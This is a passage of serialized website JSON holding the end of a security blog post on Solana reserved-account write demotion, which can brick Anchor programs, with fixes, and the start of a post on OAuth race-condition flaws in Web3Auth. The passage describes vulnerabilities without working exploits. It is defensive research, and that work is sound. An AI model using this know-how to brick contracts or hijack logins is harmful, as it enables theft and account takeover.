",{"type":26,"tag":163,"props":94534,"children":94536},{"href":94502,"rel":94535},[167],[94537],{"type":32,"value":94506},{"type":32,"value":94539},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":26,"tag":39,"props":94541,"children":94542},{},[94543,94545,94552,94554,94559],{"type":32,"value":94544},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":26,"tag":163,"props":94546,"children":94549},{"href":94547,"rel":94548},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[167],[94550],{"type":32,"value":94551},"feature gate is actived",{"type":32,"value":94553},", the runtime will ",{"type":26,"tag":9348,"props":94555,"children":94556},{},[94557],{"type":32,"value":94558},"automatically demote them to read-only",{"type":32,"value":94560},", even if the transaction marked them as writable.",{"type":26,"tag":207,"props":94562,"children":94564},{"className":56140,"code":94563,"language":56139,"meta":8,"style":8},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[94565],{"type":26,"tag":83,"props":94566,"children":94567},{"__ignoreMap":8},[94568,94576,94584,94608,94663,94701,94730],{"type":26,"tag":217,"props":94569,"children":94570},{"class":7028,"line":7029},[94571],{"type":26,"tag":217,"props":94572,"children":94573},{"style":7033},[94574],{"type":32,"value":94575},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":26,"tag":217,"props":94577,"children":94578},{"class":7028,"line":6770},[94579],{"type":26,"tag":217,"props":94580,"children":94581},{"style":7033},[94582],{"type":32,"value":94583},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":26,"tag":217,"props":94585,"children":94586},{"class":7028,"line":6779},[94587,94591,94595,94600,94604],{"type":26,"tag":217,"props":94588,"children":94589},{"style":7154},[94590],{"type":32,"value":91922},{"type":26,"tag":217,"props":94592,"children":94593},{"style":7149},[94594],{"type":32,"value":180},{"type":26,"tag":217,"props":94596,"children":94597},{"style":7048},[94598],{"type":32,"value":94599},"reserved_account_keys ",{"type":26,"tag":217,"props":94601,"children":94602},{"style":7149},[94603],{"type":32,"value":267},{"type":26,"tag":217,"props":94605,"children":94606},{"style":7048},[94607],{"type":32,"value":8064},{"type":26,"tag":217,"props":94609,"children":94610},{"class":7028,"line":7140},[94611,94615,94620,94625,94629,94634,94638,94642,94646,94650,94654,94658],{"type":26,"tag":217,"props":94612,"children":94613},{"style":7154},[94614],{"type":32,"value":77780},{"type":26,"tag":217,"props":94616,"children":94617},{"style":7154},[94618],{"type":32,"value":94619}," mut",{"type":26,"tag":217,"props":94621,"children":94622},{"style":7054},[94623],{"type":32,"value":94624}," reserved_keys",{"type":26,"tag":217,"props":94626,"children":94627},{"style":7149},[94628],{"type":32,"value":8993},{"type":26,"tag":217,"props":94630,"children":94631},{"style":7119},[94632],{"type":32,"value":94633}," ReservedAccountKeys",{"type":26,"tag":217,"props":94635,"children":94636},{"style":7149},[94637],{"type":32,"value":56166},{"type":26,"tag":217,"props":94639,"children":94640},{"style":7064},[94641],{"type":32,"value":67384},{"type":26,"tag":217,"props":94643,"children":94644},{"style":7048},[94645],{"type":32,"value":1851},{"type":26,"tag":217,"props":94647,"children":94648},{"style":7149},[94649],{"type":32,"value":9804},{"type":26,"tag":217,"props":94651,"children":94652},{"style":7154},[94653],{"type":32,"value":91922},{"type":26,"tag":217,"props":94655,"children":94656},{"style":7149},[94657],{"type":32,"value":180},{"type":26,"tag":217,"props":94659,"children":94660},{"style":7048},[94661],{"type":32,"value":94662},"reserved_account_keys);\n",{"type":26,"tag":217,"props":94664,"children":94665},{"class":7028,"line":7165},[94666,94671,94675,94680,94684,94688,94692,94696],{"type":26,"tag":217,"props":94667,"children":94668},{"style":7054},[94669],{"type":32,"value":94670},"    reserved_keys",{"type":26,"tag":217,"props":94672,"children":94673},{"style":7149},[94674],{"type":32,"value":180},{"type":26,"tag":217,"props":94676,"children":94677},{"style":7064},[94678],{"type":32,"value":94679},"update_active_set",{"type":26,"tag":217,"props":94681,"children":94682},{"style":7048},[94683],{"type":32,"value":1851},{"type":26,"tag":217,"props":94685,"children":94686},{"style":7149},[94687],{"type":32,"value":9804},{"type":26,"tag":217,"props":94689,"children":94690},{"style":7154},[94691],{"type":32,"value":91922},{"type":26,"tag":217,"props":94693,"children":94694},{"style":7149},[94695],{"type":32,"value":180},{"type":26,"tag":217,"props":94697,"children":94698},{"style":7048},[94699],{"type":32,"value":94700},"feature_set);\n",{"type":26,"tag":217,"props":94702,"children":94703},{"class":7028,"line":7178},[94704,94709,94713,94717,94721,94726],{"type":26,"tag":217,"props":94705,"children":94706},{"style":7119},[94707],{"type":32,"value":94708},"    Arc",{"type":26,"tag":217,"props":94710,"children":94711},{"style":7149},[94712],{"type":32,"value":56166},{"type":26,"tag":217,"props":94714,"children":94715},{"style":7064},[94716],{"type":32,"value":7116},{"type":26,"tag":217,"props":94718,"children":94719},{"style":7048},[94720],{"type":32,"value":1851},{"type":26,"tag":217,"props":94722,"children":94723},{"style":7054},[94724],{"type":32,"value":94725},"reserved_keys",{"type":26,"tag":217,"props":94727,"children":94728},{"style":7048},[94729],{"type":32,"value":10025},{"type":26,"tag":217,"props":94731,"children":94732},{"class":7028,"line":7389},[94733],{"type":26,"tag":217,"props":94734,"children":94735},{"style":7048},[94736],{"type":32,"value":12331},{"type":26,"tag":631,"props":94738,"children":94740},{"id":94739},"consequences-silent-failures-and-bricked-programs",[94741],{"type":32,"value":94742},"Consequences: Silent Failures and Bricked Programs",{"type":26,"tag":39,"props":94744,"children":94745},{},[94746],{"type":32,"value":94747},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":26,"tag":207,"props":94749,"children":94751},{"className":56140,"code":94750,"language":56139,"meta":8,"style":8},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n",[94752],{"type":26,"tag":83,"props":94753,"children":94754},{"__ignoreMap":8},[94755,94770,94797,94812,94851,94858,94905,94936,94943,94958,94989,94996,95011,95042],{"type":26,"tag":217,"props":94756,"children":94757},{"class":7028,"line":7029},[94758,94762,94766],{"type":26,"tag":217,"props":94759,"children":94760},{"style":7048},[94761],{"type":32,"value":90733},{"type":26,"tag":217,"props":94763,"children":94764},{"style":7119},[94765],{"type":32,"value":90738},{"type":26,"tag":217,"props":94767,"children":94768},{"style":7048},[94769],{"type":32,"value":90743},{"type":26,"tag":217,"props":94771,"children":94772},{"class":7028,"line":6770},[94773,94777,94781,94785,94789,94793],{"type":26,"tag":217,"props":94774,"children":94775},{"style":7154},[94776],{"type":32,"value":56830},{"type":26,"tag":217,"props":94778,"children":94779},{"style":7154},[94780],{"type":32,"value":77038},{"type":26,"tag":217,"props":94782,"children":94783},{"style":7119},[94784],{"type":32,"value":90759},{"type":26,"tag":217,"props":94786,"children":94787},{"style":7048},[94788],{"type":32,"value":90764},{"type":26,"tag":217,"props":94790,"children":94791},{"style":7119},[94792],{"type":32,"value":90769},{"type":26,"tag":217,"props":94794,"children":94795},{"style":7048},[94796],{"type":32,"value":77772},{"type":26,"tag":217,"props":94798,"children":94799},{"class":7028,"line":6779},[94800,94804,94808],{"type":26,"tag":217,"props":94801,"children":94802},{"style":7048},[94803],{"type":32,"value":90781},{"type":26,"tag":217,"props":94805,"children":94806},{"style":7154},[94807],{"type":32,"value":90786},{"type":26,"tag":217,"props":94809,"children":94810},{"style":7048},[94811],{"type":32,"value":90743},{"type":26,"tag":217,"props":94813,"children":94814},{"class":7028,"line":7140},[94815,94819,94823,94827,94831,94835,94839,94843,94847],{"type":26,"tag":217,"props":94816,"children":94817},{"style":7154},[94818],{"type":32,"value":90798},{"type":26,"tag":217,"props":94820,"children":94821},{"style":7054},[94822],{"type":32,"value":90803},{"type":26,"tag":217,"props":94824,"children":94825},{"style":7149},[94826],{"type":32,"value":1473},{"type":26,"tag":217,"props":94828,"children":94829},{"style":7119},[94830],{"type":32,"value":90812},{"type":26,"tag":217,"props":94832,"children":94833},{"style":7048},[94834],{"type":32,"value":90764},{"type":26,"tag":217,"props":94836,"children":94837},{"style":7119},[94838],{"type":32,"value":90769},{"type":26,"tag":217,"props":94840,"children":94841},{"style":7048},[94842],{"type":32,"value":7599},{"type":26,"tag":217,"props":94844,"children":94845},{"style":7119},[94846],{"type":32,"value":90829},{"type":26,"tag":217,"props":94848,"children":94849},{"style":7048},[94850],{"type":32,"value":77713},{"type":26,"tag":217,"props":94852,"children":94853},{"class":7028,"line":7165},[94854],{"type":26,"tag":217,"props":94855,"children":94856},{"emptyLinePlaceholder":17},[94857],{"type":32,"value":7817},{"type":26,"tag":217,"props":94859,"children":94860},{"class":7028,"line":7178},[94861,94865,94869,94873,94877,94881,94885,94889,94893,94897,94901],{"type":26,"tag":217,"props":94862,"children":94863},{"style":7048},[94864],{"type":32,"value":90781},{"type":26,"tag":217,"props":94866,"children":94867},{"style":7154},[94868],{"type":32,"value":90786},{"type":26,"tag":217,"props":94870,"children":94871},{"style":7048},[94872],{"type":32,"value":90864},{"type":26,"tag":217,"props":94874,"children":94875},{"style":7149},[94876],{"type":32,"value":267},{"type":26,"tag":217,"props":94878,"children":94879},{"style":7048},[94880],{"type":32,"value":90873},{"type":26,"tag":217,"props":94882,"children":94883},{"style":7149},[94884],{"type":32,"value":180},{"type":26,"tag":217,"props":94886,"children":94887},{"style":7048},[94888],{"type":32,"value":90882},{"type":26,"tag":217,"props":94890,"children":94891},{"style":7149},[94892],{"type":32,"value":9106},{"type":26,"tag":217,"props":94894,"children":94895},{"style":7048},[94896],{"type":32,"value":90803},{"type":26,"tag":217,"props":94898,"children":94899},{"style":7149},[94900],{"type":32,"value":180},{"type":26,"tag":217,"props":94902,"children":94903},{"style":7048},[94904],{"type":32,"value":90899},{"type":26,"tag":217,"props":94906,"children":94907},{"class":7028,"line":7389},[94908,94912,94916,94920,94924,94928,94932],{"type":26,"tag":217,"props":94909,"children":94910},{"style":7154},[94911],{"type":32,"value":90798},{"type":26,"tag":217,"props":94913,"children":94914},{"style":7054},[94915],{"type":32,"value":90873},{"type":26,"tag":217,"props":94917,"children":94918},{"style":7149},[94919],{"type":32,"value":1473},{"type":26,"tag":217,"props":94921,"children":94922},{"style":7119},[94923],{"type":32,"value":90919},{"type":26,"tag":217,"props":94925,"children":94926},{"style":7048},[94927],{"type":32,"value":90764},{"type":26,"tag":217,"props":94929,"children":94930},{"style":7119},[94931],{"type":32,"value":90769},{"type":26,"tag":217,"props":94933,"children":94934},{"style":7048},[94935],{"type":32,"value":77713},{"type":26,"tag":217,"props":94937,"children":94938},{"class":7028,"line":7406},[94939],{"type":26,"tag":217,"props":94940,"children":94941},{"emptyLinePlaceholder":17},[94942],{"type":32,"value":7817},{"type":26,"tag":217,"props":94944,"children":94945},{"class":7028,"line":7439},[94946,94950,94954],{"type":26,"tag":217,"props":94947,"children":94948},{"style":7048},[94949],{"type":32,"value":90781},{"type":26,"tag":217,"props":94951,"children":94952},{"style":7154},[94953],{"type":32,"value":90786},{"type":26,"tag":217,"props":94955,"children":94956},{"style":7048},[94957],{"type":32,"value":90743},{"type":26,"tag":217,"props":94959,"children":94960},{"class":7028,"line":7487},[94961,94965,94969,94973,94977,94981,94985],{"type":26,"tag":217,"props":94962,"children":94963},{"style":7154},[94964],{"type":32,"value":90798},{"type":26,"tag":217,"props":94966,"children":94967},{"style":7054},[94968],{"type":32,"value":90973},{"type":26,"tag":217,"props":94970,"children":94971},{"style":7149},[94972],{"type":32,"value":1473},{"type":26,"tag":217,"props":94974,"children":94975},{"style":7119},[94976],{"type":32,"value":90919},{"type":26,"tag":217,"props":94978,"children":94979},{"style":7048},[94980],{"type":32,"value":90764},{"type":26,"tag":217,"props":94982,"children":94983},{"style":7119},[94984],{"type":32,"value":90769},{"type":26,"tag":217,"props":94986,"children":94987},{"style":7048},[94988],{"type":32,"value":77713},{"type":26,"tag":217,"props":94990,"children":94991},{"class":7028,"line":7524},[94992],{"type":26,"tag":217,"props":94993,"children":94994},{"emptyLinePlaceholder":17},[94995],{"type":32,"value":7817},{"type":26,"tag":217,"props":94997,"children":94998},{"class":7028,"line":7553},[94999,95003,95007],{"type":26,"tag":217,"props":95000,"children":95001},{"style":7048},[95002],{"type":32,"value":90781},{"type":26,"tag":217,"props":95004,"children":95005},{"style":7154},[95006],{"type":32,"value":90786},{"type":26,"tag":217,"props":95008,"children":95009},{"style":7048},[95010],{"type":32,"value":90743},{"type":26,"tag":217,"props":95012,"children":95013},{"class":7028,"line":7570},[95014,95018,95022,95026,95030,95034,95038],{"type":26,"tag":217,"props":95015,"children":95016},{"style":7154},[95017],{"type":32,"value":90798},{"type":26,"tag":217,"props":95019,"children":95020},{"style":7054},[95021],{"type":32,"value":91027},{"type":26,"tag":217,"props":95023,"children":95024},{"style":7149},[95025],{"type":32,"value":1473},{"type":26,"tag":217,"props":95027,"children":95028},{"style":7119},[95029],{"type":32,"value":91036},{"type":26,"tag":217,"props":95031,"children":95032},{"style":7048},[95033],{"type":32,"value":90764},{"type":26,"tag":217,"props":95035,"children":95036},{"style":7119},[95037],{"type":32,"value":90769},{"type":26,"tag":217,"props":95039,"children":95040},{"style":7048},[95041],{"type":32,"value":77713},{"type":26,"tag":217,"props":95043,"children":95044},{"class":7028,"line":7621},[95045],{"type":26,"tag":217,"props":95046,"children":95047},{"style":7048},[95048],{"type":32,"value":7184},{"type":26,"tag":39,"props":95050,"children":95051},{},[95052,95054,95060,95062,95068],{"type":32,"value":95053},"This works fine — until one day, ",{"type":26,"tag":83,"props":95055,"children":95057},{"className":95056},[],[95058],{"type":32,"value":95059},"old_king",{"type":32,"value":95061}," is silently demoted. Suddenly, the ",{"type":26,"tag":83,"props":95063,"children":95065},{"className":95064},[],[95066],{"type":32,"value":95067},"#[account(mut)]",{"type":32,"value":95069}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":26,"tag":631,"props":95071,"children":95073},{"id":95072},"real-world-example-write-demotion-with-secp256r1_program",[95074,95076],{"type":32,"value":95075},"Real-World Example: Write-Demotion with ",{"type":26,"tag":83,"props":95077,"children":95079},{"className":95078},[],[95080],{"type":32,"value":95081},"secp256r1_program",{"type":26,"tag":39,"props":95083,"children":95084},{},[95085,95087,95092],{"type":32,"value":95086},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":26,"tag":83,"props":95088,"children":95090},{"className":95089},[],[95091],{"type":32,"value":95081},{"type":32,"value":95093},", a precompiled program gated behind a feature flag:",{"type":26,"tag":207,"props":95095,"children":95097},{"className":56140,"code":95096,"language":56139,"meta":8,"style":8},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    feature_set::enable_secp256r1_precompile::id(),\n)\n",[95098],{"type":26,"tag":83,"props":95099,"children":95100},{"__ignoreMap":8},[95101,95122,95143,95172],{"type":26,"tag":217,"props":95102,"children":95103},{"class":7028,"line":7029},[95104,95109,95113,95118],{"type":26,"tag":217,"props":95105,"children":95106},{"style":7119},[95107],{"type":32,"value":95108},"ReservedAccount",{"type":26,"tag":217,"props":95110,"children":95111},{"style":7149},[95112],{"type":32,"value":56166},{"type":26,"tag":217,"props":95114,"children":95115},{"style":7064},[95116],{"type":32,"value":95117},"new_pending",{"type":26,"tag":217,"props":95119,"children":95120},{"style":7048},[95121],{"type":32,"value":10932},{"type":26,"tag":217,"props":95123,"children":95124},{"class":7028,"line":6770},[95125,95130,95134,95139],{"type":26,"tag":217,"props":95126,"children":95127},{"style":7048},[95128],{"type":32,"value":95129},"    secp256r1_program",{"type":26,"tag":217,"props":95131,"children":95132},{"style":7149},[95133],{"type":32,"value":56166},{"type":26,"tag":217,"props":95135,"children":95136},{"style":7064},[95137],{"type":32,"value":95138},"id",{"type":26,"tag":217,"props":95140,"children":95141},{"style":7048},[95142],{"type":32,"value":79153},{"type":26,"tag":217,"props":95144,"children":95145},{"class":7028,"line":6779},[95146,95151,95155,95160,95164,95168],{"type":26,"tag":217,"props":95147,"children":95148},{"style":7048},[95149],{"type":32,"value":95150},"    feature_set",{"type":26,"tag":217,"props":95152,"children":95153},{"style":7149},[95154],{"type":32,"value":56166},{"type":26,"tag":217,"props":95156,"children":95157},{"style":7048},[95158],{"type":32,"value":95159},"enable_secp256r1_precompile",{"type":26,"tag":217,"props":95161,"children":95162},{"style":7149},[95163],{"type":32,"value":56166},{"type":26,"tag":217,"props":95165,"children":95166},{"style":7064},[95167],{"type":32,"value":95138},{"type":26,"tag":217,"props":95169,"children":95170},{"style":7048},[95171],{"type":32,"value":79153},{"type":26,"tag":217,"props":95173,"children":95174},{"class":7028,"line":7140},[95175],{"type":26,"tag":217,"props":95176,"children":95177},{"style":7048},[95178],{"type":32,"value":10025},{"type":26,"tag":39,"props":95180,"children":95181},{},[95182,95184,95189,95191,95197],{"type":32,"value":95183},"Before the ",{"type":26,"tag":83,"props":95185,"children":95187},{"className":95186},[],[95188],{"type":32,"value":95159},{"type":32,"value":95190}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":26,"tag":83,"props":95192,"children":95194},{"className":95193},[],[95195],{"type":32,"value":95196},"secp256r1_program::id()",{"type":32,"value":95198}," as the king in a contract.",{"type":26,"tag":39,"props":95200,"children":95201},{},[95202,95204,95209],{"type":32,"value":95203},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":26,"tag":83,"props":95205,"children":95207},{"className":95206},[],[95208],{"type":32,"value":95196},{"type":32,"value":95210}," becomes the eternal king, and no one can dethrone it.",{"type":26,"tag":631,"props":95212,"children":95214},{"id":95213},"fix-3-preventing-write-demotion-pitfalls",[95215],{"type":32,"value":95216},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":26,"tag":39,"props":95218,"children":95219},{},[95220,95222,95227],{"type":32,"value":95221},"Alright, let’s try to fix this ",{"type":26,"tag":65,"props":95223,"children":95224},{},[95225],{"type":32,"value":95226},"yet another",{"type":32,"value":95228}," edge case — and hopefully close the book on it.",{"type":26,"tag":631,"props":95230,"children":95232},{"id":95231},"attempt-1-block-known-reserved-accounts",[95233],{"type":32,"value":95234},"Attempt 1: Block Known Reserved Accounts",{"type":26,"tag":39,"props":95236,"children":95237},{},[95238],{"type":32,"value":95239},"One naive solution is to reject any known reserved account, for example:",{"type":26,"tag":207,"props":95241,"children":95243},{"className":76068,"code":95242,"language":76067,"meta":8,"style":8},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[95244],{"type":26,"tag":83,"props":95245,"children":95246},{"__ignoreMap":8},[95247,95255],{"type":26,"tag":217,"props":95248,"children":95249},{"class":7028,"line":7029},[95250],{"type":26,"tag":217,"props":95251,"children":95252},{"style":7048},[95253],{"type":32,"value":95254},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":26,"tag":217,"props":95256,"children":95257},{"class":7028,"line":6770},[95258],{"type":26,"tag":217,"props":95259,"children":95260},{"style":7130},[95261],{"type":32,"value":95262},"+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":26,"tag":39,"props":95264,"children":95265},{},[95266,95268,95273],{"type":32,"value":95267},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":26,"tag":83,"props":95269,"children":95271},{"className":95270},[],[95272],{"type":32,"value":95108},{"type":32,"value":95274}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":26,"tag":631,"props":95276,"children":95278},{"id":95277},"attempt-2-use-a-pda-vault",[95279],{"type":32,"value":95280},"Attempt 2: Use a PDA Vault",{"type":26,"tag":39,"props":95282,"children":95283},{},[95284,95286,95291],{"type":32,"value":95285},"A more future-proof fix is to avoid ",{"type":26,"tag":9348,"props":95287,"children":95288},{},[95289],{"type":32,"value":95290},"transferring lamports to arbitrary accounts",{"type":32,"value":95292}," altogether.",{"type":26,"tag":39,"props":95294,"children":95295},{},[95296],{"type":32,"value":95297},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":26,"tag":27,"props":95299,"children":95300},{"id":69169},[95301],{"type":32,"value":69172},{"type":26,"tag":39,"props":95303,"children":95304},{},[95305],{"type":32,"value":95306},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":26,"tag":39,"props":95308,"children":95309},{},[95310],{"type":32,"value":95311},"We can safely transfer lamports to an account under the following conditions:",{"type":26,"tag":2040,"props":95313,"children":95314},{},[95315,95320,95325],{"type":26,"tag":2044,"props":95316,"children":95317},{},[95318],{"type":32,"value":95319},"It's not executable.",{"type":26,"tag":2044,"props":95321,"children":95322},{},[95323],{"type":32,"value":95324},"Its balance, after the transfer, remains rent-exempt.",{"type":26,"tag":2044,"props":95326,"children":95327},{},[95328],{"type":32,"value":95329},"It's not a reserved account.",{"type":26,"tag":39,"props":95331,"children":95332},{},[95333],{"type":32,"value":95334},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":26,"tag":9282,"props":95336,"children":95337},{},[95338],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":95340},[95341,95342,95343,95349],{"id":24419,"depth":6770,"text":24422},{"id":90670,"depth":6770,"text":90673},{"id":91798,"depth":6770,"text":91801,"children":95344},[95345,95346,95348],{"id":91804,"depth":6779,"text":91807},{"id":92495,"depth":6779,"text":95347},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":93822,"depth":6779,"text":93825},{"id":69169,"depth":6770,"text":69172},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":95354,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":95355,"description":95356,"date":95357,"author":95358,"image":95359,"isFeatured":17,"onBlogPage":17,"tags":95361,"body":95362,"_type":6799,"_id":96990,"_source":6801,"_file":96991,"_stem":96992,"_extension":6804},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[6811,6812],{"src":95360},"/posts/web2-in-web3/title.jpg",[6819],{"type":23,"children":95363,"toc":96972},[95364,95369,95374,95379,95405,95411,95416,95422,95443,95449,95454,95461,95473,95503,95509,95553,95560,95566,95599,95620,95628,95646,95653,95658,95664,95669,95674,95699,95704,95710,95716,95737,95743,95770,95798,95805,95810,95815,96160,96164,96186,96192,96212,96226,96239,96244,96259,96264,96927,96932,96937,96942,96954,96958,96963,96968],{"type":26,"tag":39,"props":95365,"children":95366},{},[95367],{"type":32,"value":95368},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":26,"tag":39,"props":95370,"children":95371},{},[95372],{"type":32,"value":95373},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":26,"tag":39,"props":95375,"children":95376},{},[95377],{"type":32,"value":95378},"In this article, we will discuss three cases we discovered:",{"type":26,"tag":6712,"props":95380,"children":95381},{},[95382,95387,95400],{"type":26,"tag":2044,"props":95383,"children":95384},{},[95385],{"type":32,"value":95386},"OAuth Logic Vulnerability on an Authentication Provider",{"type":26,"tag":2044,"props":95388,"children":95389},{},[95390,95392,95398],{"type":32,"value":95391},"Supabase ",{"type":26,"tag":83,"props":95393,"children":95395},{"className":95394},[],[95396],{"type":32,"value":95397},"user_metadata",{"type":32,"value":95399}," misconfiguration",{"type":26,"tag":2044,"props":95401,"children":95402},{},[95403],{"type":32,"value":95404},"OAuth abuse in localhost development environment",{"type":26,"tag":27,"props":95406,"children":95408},{"id":95407},"abusing-oauth-authentication-logic",[95409],{"type":32,"value":95410},"Abusing OAuth Authentication Logic",{"type":26,"tag":39,"props":95412,"children":95413},{},[95414],{"type":32,"value":95415},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":26,"tag":607,"props":95417,"children":95419},{"id":95418},"web3auth-introduction",[95420],{"type":32,"value":95421},"Web3Auth Introduction",{"type":26,"tag":39,"props":95423,"children":95424},{},[95425,95432,95434,95441],{"type":26,"tag":163,"props":95426,"children":95429},{"href":95427,"rel":95428},"https://web3auth.io/",[167],[95430],{"type":32,"value":95431},"Web3Auth",{"type":32,"value":95433}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":26,"tag":163,"props":95435,"children":95438},{"href":95436,"rel":95437},"https://oauth.net/2/",[167],[95439],{"type":32,"value":95440},"OAuth2",{"type":32,"value":95442}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":26,"tag":607,"props":95444,"children":95446},{"id":95445},"web3auth-authentication-flow",[95447],{"type":32,"value":95448},"Web3Auth Authentication flow",{"type":26,"tag":39,"props":95450,"children":95451},{},[95452],{"type":32,"value":95453},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":26,"tag":39,"props":95455,"children":95456},{},[95457],{"type":26,"tag":6468,"props":95458,"children":95460},{"alt":9464,"src":95459},"/posts/web2-in-web3/auth-flow.png",[],{"type":26,"tag":39,"props":95462,"children":95463},{},[95464,95466,95471],{"type":32,"value":95465},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":26,"tag":83,"props":95467,"children":95469},{"className":95468},[],[95470],{"type":32,"value":64511},{"type":32,"value":95472},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":26,"tag":39,"props":95474,"children":95475},{},[95476,95478,95484,95486,95492,95494,95501],{"type":32,"value":95477},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":26,"tag":83,"props":95479,"children":95481},{"className":95480},[],[95482],{"type":32,"value":95483},"/start",{"type":32,"value":95485}," validates the ",{"type":26,"tag":83,"props":95487,"children":95489},{"className":95488},[],[95490],{"type":32,"value":95491},"redirect_url",{"type":32,"value":95493}," against the configured ",{"type":26,"tag":163,"props":95495,"children":95498},{"href":95496,"rel":95497},"https://web3auth.io/docs/dashboard-setup/whitelisting",[167],[95499],{"type":32,"value":95500},"whitelist",{"type":32,"value":95502}," to ensure it matches one of the allowed URLs.",{"type":26,"tag":607,"props":95504,"children":95506},{"id":95505},"in-transit-cryptography",[95507],{"type":32,"value":95508},"In-transit Cryptography",{"type":26,"tag":39,"props":95510,"children":95511},{},[95512,95514,95521,95523,95529,95531,95537,95539,95544,95546,95551],{"type":32,"value":95513},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":26,"tag":163,"props":95515,"children":95518},{"href":95516,"rel":95517},"https://en.wikipedia.org/wiki/Key_(cryptography)",[167],[95519],{"type":32,"value":95520},"cryptographic key",{"type":32,"value":95522}," is derived from the ",{"type":26,"tag":83,"props":95524,"children":95526},{"className":95525},[],[95527],{"type":32,"value":95528},"sessionId",{"type":32,"value":95530},"  sent in the ",{"type":26,"tag":83,"props":95532,"children":95534},{"className":95533},[],[95535],{"type":32,"value":95536},"GET",{"type":32,"value":95538}," parameter to the ",{"type":26,"tag":83,"props":95540,"children":95542},{"className":95541},[],[95543],{"type":32,"value":95483},{"type":32,"value":95545},". Since the ",{"type":26,"tag":83,"props":95547,"children":95549},{"className":95548},[],[95550],{"type":32,"value":95528},{"type":32,"value":95552}," can be controlled, it allows us to send and receive data from the session server.",{"type":26,"tag":39,"props":95554,"children":95555},{},[95556],{"type":26,"tag":6468,"props":95557,"children":95559},{"alt":9464,"src":95558},"/posts/web2-in-web3/image-2.png",[],{"type":26,"tag":607,"props":95561,"children":95563},{"id":95562},"race-condition",[95564],{"type":32,"value":95565},"Race Condition",{"type":26,"tag":39,"props":95567,"children":95568},{},[95569,95571,95576,95578,95584,95586,95591,95593,95598],{"type":32,"value":95570},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":26,"tag":83,"props":95572,"children":95574},{"className":95573},[],[95575],{"type":32,"value":95483},{"type":32,"value":95577}," and later used in the ",{"type":26,"tag":83,"props":95579,"children":95581},{"className":95580},[],[95582],{"type":32,"value":95583},"/end",{"type":32,"value":95585}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation 